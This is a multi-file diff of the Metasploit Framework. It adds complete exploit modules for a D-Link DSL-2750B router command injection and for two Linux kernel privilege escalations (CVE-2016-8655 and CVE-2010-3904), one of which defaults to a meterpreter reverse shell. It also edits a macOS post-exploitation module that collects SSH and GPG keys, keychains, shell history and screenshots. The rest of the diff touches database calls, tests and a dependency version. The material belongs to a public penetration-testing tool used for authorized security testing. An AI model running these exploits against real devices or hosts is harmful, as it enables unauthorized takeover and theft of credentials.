@ -1311,12 +1312,12 @@ class Db
matched_loot_ids = []
loots = []
if host_ranges.compact.empty?
loots = loots + framework.db.loots(framework.db.workspace, {:search_term => search_term})
loots = loots + framework.db.loots(workspace: framework.db.workspace, search_term: search_term)
else
each_host_range_chunk(host_ranges) do |host_search|
break if !host_search.nil? && host_search.empty?
loots = loots + framework.db.loots(framework.db.workspace, { :hosts => { :address => host_search }, :search_term => search_term })
loots = loots + framework.db.loots(workspace: framework.db.workspace, hosts: { address: host_search }, search_term: search_term)
end
end

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.34'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.37'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.8'
# Needed by msfgui and other rpc components

View File

@ -321,7 +321,7 @@ class MetasploitModule < Msf::Auxiliary
end
def existing_loot(ltype, key_id)
framework.db.loots(myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first
framework.db.loots(workspace: myworkspace).where(ltype: ltype).select {|l| l.info == key_id}.first
end
def store_public_keyfile(ip,user,key_id,key_data)

View File

@ -0,0 +1,114 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DSL-2750B OS Command Injection',
'Description' => %q(
This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices.
Vulnerability can be exploited through "cli" parameter that is directly used to invoke
"ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.
),
'Author' =>
[
'p@ql', # vulnerability discovery
'Marcin Bury <marcin[at]threat9.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['PACKETSTORM', 135706],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'],
['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/']
],
'Targets' =>
[
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
[
'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Feb 5 2016',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::FLAVOR')
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/ayefeaturesconvert.js'
)
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
unless res.code.to_i == 200 && res.body.include?('DSL-2750')
vprint_status('Remote host is not a DSL-2750')
return CheckCode::Safe
end
if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/
version = Regexp.last_match[1]
vprint_status("Remote host is a DSL-2750B with firmware version #{version}")
if version >= "1.01" && version <= "1.03"
return Exploit::CheckCode::Appears
end
end
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error('Connection failed')
return CheckCode::Unknown
end
def execute_command(cmd, _opts)
payload = Rex::Text.uri_encode("multilingual show';#{cmd}'")
send_request_cgi(
{
'method' => 'GET',
'uri' => '/login.cgi',
'vars_get' => {
'cli' => "#{payload}$"
},
'encode_params' => false
},
5
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server")
end
def exploit
print_status("#{peer} Checking target version...")
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
execute_cmdstager(
flavor: :wget,
linemax: 200
)
end
end

View File

@ -0,0 +1,200 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'AF_PACKET chocobo_root Privilege Escalation',
'Description' => %q{
This module exploits a race condition and use-after-free in the
packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in
the Linux kernel to execute code as root (CVE-2016-8655).
The bug was initially introduced in 2011 and patched in 2016 in version
4.4.0-53.74, potentially affecting a large number of kernels; however
this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
Linux Mint.
The target system must have unprivileged user namespaces enabled and
two or more CPU cores.
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
may crash the kernel.
This module has been tested successfully on Linux Mint 17.3 (x86_64);
Linux Mint 18 (x86_64); and Ubuntu 16.04.2 (x86_64) with kernel
versions 4.4.0-45-generic and 4.4.0-51-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rebel', # Discovery and chocobo_root.c exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Aug 12 2016',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'chocobo_root.c' ],
[ 'EDB', '40871' ],
[ 'CVE', '2016-8655' ],
[ 'BID', '94692' ],
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/607' ],
[ 'URL', 'http://seclists.org/oss-sec/2016/q4/att-621/chocobo_root_c.bin' ],
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2016-8655/chocobo_root.c' ],
[ 'URL', 'https://bitbucket.org/externalist/1day_exploits/src/master/CVE-2016-8655/CVE-2016-8655_chocobo_root_commented.c' ],
[ 'URL', 'https://usn.ubuntu.com/3151-1/' ],
[ 'URL', 'https://www.securitytracker.com/id/1037403' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=84ac7260236a49c79eede91617700174c2c19b0c' ]
],
'DefaultTarget' => 0))
register_options [
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def timeout
datastore['TIMEOUT'].to_i
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c -lpthread"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'CVE-2016-8655', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic/
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} is vulnerable"
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
cores = get_cpu_info[:cores].to_i
min_required_cores = 2
unless cores >= min_required_cores
vprint_error "System has less than #{min_required_cores} CPU cores"
return CheckCode::Safe
end
vprint_good "System has #{cores} CPU cores"
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
CheckCode::Appears
end
def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('chocobo_root.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('chocobo_root')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status "Launching exploit (Timeout: #{timeout})..."
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path}.."
rm_f executable_path
rm_f payload_path
end
end

View File

@ -0,0 +1,187 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the rds_page_copy_user function
in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
to execute code as root (CVE-2010-3904).
This module has been tested successfully on Fedora 13 (i686) with
kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64)
with kernel version 2.6.32-21-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dan Rosenberg', # Discovery and C exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Oct 20 2010',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'rds-fail.c' ],
[ 'EDB', '15285' ],
[ 'CVE', '2010-3904' ],
[ 'BID', '44219' ],
[ 'URL', 'https://securitytracker.com/id?1024613' ],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ],
[ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ],
[ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ],
[ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ],
],
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
]
end
def base_dir
datastore['WritableDir'].to_s
end
def modules_disabled?
modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip
(modules_disabled.eql?('1') || modules_disabled.eql?('2'))
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "gcc -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
cmd_exec "chmod +x #{path}"
register_file_for_cleanup path
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
version = kernel_release
unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') &&
Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37')
vprint_error "Linux kernel version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{version} appears to be vulnerable"
unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets'
vprint_error 'RDS kernel module is not available'
return CheckCode::Safe
end
vprint_good 'RDS kernel module is available'
if modules_disabled?
unless cmd_exec('/sbin/lsmod').to_s.include? 'rds'
vprint_error 'RDS kernel module is not loadable'
return CheckCode::Safe
end
end
vprint_good 'RDS kernel module is loadable'
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('rds-fail.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
arch = kernel_hardware
case arch
when /amd64|ia64|x86_64|x64/i
upload_and_chmodx executable_path, exploit_data('rds-fail.x64')
when /x86|i[3456]86/
upload_and_chmodx executable_path, exploit_data('rds-fail.x86')
else
fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}"
end
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit...'
output = cmd_exec "#{executable_path} #{payload_path}"
output.each_line { |line| vprint_status line.chomp }
end
end

View File

@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Local
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
print_status("Deleting Directory Utility.app")
cmd_exec('rm -Rf "#{new_app}"')
cmd_exec("rm -Rf '#{new_app}'")
print_status('Executing payload...')
cmd_exec("/bin/sh -c '#{root_file} &'")

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = cmd_exec("hostname").chomp
host = cmd_exec("hostname")
end
print_status("Running module against #{host}")
running_root = check_root
@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post
when /meterpreter/
host = Rex::FileUtils.clean_path(sysinfo['Computer'])
when /shell/
host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp)
host = Rex::FileUtils.clean_path(cmd_exec('hostname'))
end
# Create Filename info to be appended to downloaded files
@ -105,42 +105,19 @@ class MetasploitModule < Msf::Post
# Checks if running as root on the target
def check_root
# Get only the account ID
case session.type
when /shell/
id = cmd_exec("/usr/bin/id -ru").chomp
when /meterpreter/
id = cmd_exec("/usr/bin/id", "-ru").chomp
end
if id == "0"
return true
else
return false
end
cmd_exec("/usr/bin/id", "-ru") == "0"
end
# Checks if the target is OSX Server
def check_server
# Get the OS Name
case session.type
when /meterpreter/
osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp
when /shell/
osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp
end
return osx_ver =~/Server/
cmd_exec("/usr/bin/sw_vers", "-productName") =~/Server/
end
# Enumerate the OS Version
def get_ver
# Get the OS Version
case session.type
when /meterpreter/
osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
when /shell/
osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp
end
return osx_ver_num
cmd_exec('/usr/bin/sw_vers', '-productVersion')
end
def enum_conf(log_folder)
@ -176,35 +153,18 @@ class MetasploitModule < Msf::Post
# Enumerate first using System Profiler
profile_datatypes.each do |name, profile_datatypes|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session.type =~ /meterpreter/
returned_data = cmd_exec('system_profiler', profile_datatypes)
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
elsif session.type =~ /shell/
begin
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",returned_data)
rescue
end
end
returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt", returned_data)
end
# Enumerate using system commands
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
begin
if session.type =~ /meterpreter/
command_output = cmd_exec(command[0],command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
elsif session.type =~ /shell/
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt",command_output)
end
file_local_write(log_folder+"//#{name}.txt",command_output)
rescue
print_error("failed to run #{name}")
end
@ -231,22 +191,9 @@ class MetasploitModule < Msf::Post
end
shell_commands.each do |name, command|
print_status("\tEnumerating #{name}")
# Run commands according to the session type
if session.type =~ /meterpreter/
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt", command_output)
elsif session.type =~ /shell/
command_output = cmd_exec(command.join(' '))
# Save data lo log folder
file_local_write(log_folder + "//#{name}.txt", command_output)
end
command_output = cmd_exec(command[0], command[1])
# Save data lo log folder
file_local_write(log_folder+"//#{name}.txt", command_output)
end
end
@ -260,12 +207,12 @@ class MetasploitModule < Msf::Post
if not check_root
# Enumerate the home folder content
home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
# Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh")
print_status(".ssh Folder is present")
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ")
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
@ -279,7 +226,7 @@ class MetasploitModule < Msf::Post
# Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg")
print_status(".gnupg Folder is present")
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ")
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
gnugpg_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
@ -291,22 +238,17 @@ class MetasploitModule < Msf::Post
end
else
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users")
when /shell/
users_folder = cmd_exec("/bin/ls /Users")
end
users_folder = cmd_exec("/bin/ls","/Users")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
@ -320,10 +262,10 @@ class MetasploitModule < Msf::Post
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
@ -356,13 +298,10 @@ class MetasploitModule < Msf::Post
end
end
else
# Run commands according to the session type
if session.type =~ /shell/
cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg")
file_local_write(log_folder+"//screenshot.jpg",
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg")
end
cmd_exec("/usr/sbin/screencapture", "-x /tmp/#{picture_name}.jpg")
file_local_write(log_folder+"//screenshot.jpg",
cmd_exec("/bin/cat /tmp/#{picture_name}.jpg"))
cmd_exec("/usr/bin/srm", "-m -z /tmp/#{picture_name}.jpg")
end
print_status("Screenshot Captured")
end
@ -370,16 +309,9 @@ class MetasploitModule < Msf::Post
def dump_bash_history(log_folder)
print_status("Extracting history files")
# Run commands according to the session type
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
current_user = cmd_exec("/usr/bin/id","-nu").chomp
when /shell/
users_folder = cmd_exec("/bin/ls /Users").chomp
current_user = cmd_exec("/usr/bin/id -nu").chomp
end
users_folder = cmd_exec("/bin/ls","/Users")
current_user = cmd_exec("/usr/bin/id","-nu")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
@ -389,7 +321,7 @@ class MetasploitModule < Msf::Post
if current_user == "root"
# Check the root user folder
root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
root_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
root_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for root")
@ -405,7 +337,7 @@ class MetasploitModule < Msf::Post
users.each do |u|
# Lets get a list of all the files on the users folder and place them in an array
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ")
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{u}")
@ -419,7 +351,7 @@ class MetasploitModule < Msf::Post
end
else
current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ")
current_user_folder = cmd_exec("/bin/ls -ma ~/").split(", ")
current_user_folder.each do |f|
if f =~ /\.\w*\_history/
print_status("\tHistory file #{f.strip} found for #{current_user}")
@ -436,12 +368,7 @@ class MetasploitModule < Msf::Post
# Download configured Keychains
def get_keychains(log_folder)
users = []
case session.type
when /meterpreter/
users_folder = cmd_exec("/bin/ls","/Users").chomp
when /shell/
users_folder = cmd_exec("/bin/ls /Users").chomp
end
users_folder = cmd_exec("/bin/ls","/Users")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
@ -459,7 +386,7 @@ class MetasploitModule < Msf::Post
end
end
else
current_user = cmd_exec("/usr/bin/id -nu").chomp
current_user = cmd_exec("/usr/bin/id -nu")
print_status("Enumerating and Downloading keychains for #{current_user}")
keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n")
keychain_files.each do |k|

View File

@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post
admin = is_admin? ? 'True' : 'False'
admin_group = is_in_admin_group? ? 'True' : 'False'
sys = is_system? ? 'True' : 'False'
uid = client.sys.config.getuid.inspect
uid = client.sys.config.getuid
begin
# Older OS might not have this (min support is XP)
fid = client.railgun.kernel32.WTSGetActiveConsoleSessionId["return"]

View File

@ -14,7 +14,7 @@ module Msf
end
def desc
"Nessus Bridge for Metasploit"
PLUGIN_DESCRIPTION
end
class ConsoleCommandDispatcher
@ -1062,7 +1062,7 @@ module Msf
return
end
targets = ""
framework.db.hosts(framework.db.workspace).each do |host|
framework.db.hosts.each do |host|
targets << host.address
targets << ","
end

View File

@ -6,7 +6,6 @@ RSpec.shared_examples_for 'Msf::DBManager::Host' do
it { is_expected.to respond_to :has_host? }
end
it { is_expected.to respond_to :find_or_create_host }
it { is_expected.to respond_to :get_host }
it { is_expected.to respond_to :hosts }

View File

@ -1,10 +1,9 @@
RSpec.shared_examples_for 'Msf::DBManager::Note' do
if ENV['REMOTE_DB']
before {skip("Awaiting port")}
unless ENV['REMOTE_DB']
it { is_expected.to respond_to :each_note }
end
it { is_expected.to respond_to :each_note }
it { is_expected.to respond_to :find_or_create_note }
it { is_expected.to respond_to :notes }
it { is_expected.to respond_to :report_note }

View File

@ -1,12 +1,12 @@
RSpec.shared_examples_for 'Msf::DBManager::Service' do
it { is_expected.to respond_to :delete_service }
unless ENV['REMOTE_DB']
it { is_expected.to respond_to :delete_service }
it { is_expected.to respond_to :each_service }
it { is_expected.to respond_to :find_or_create_service }
it { is_expected.to respond_to :get_service }
end
it { is_expected.to respond_to :report_service }
it { is_expected.to respond_to :find_or_create_service }
it { is_expected.to respond_to :services }
it { is_expected.to respond_to :report_service }
end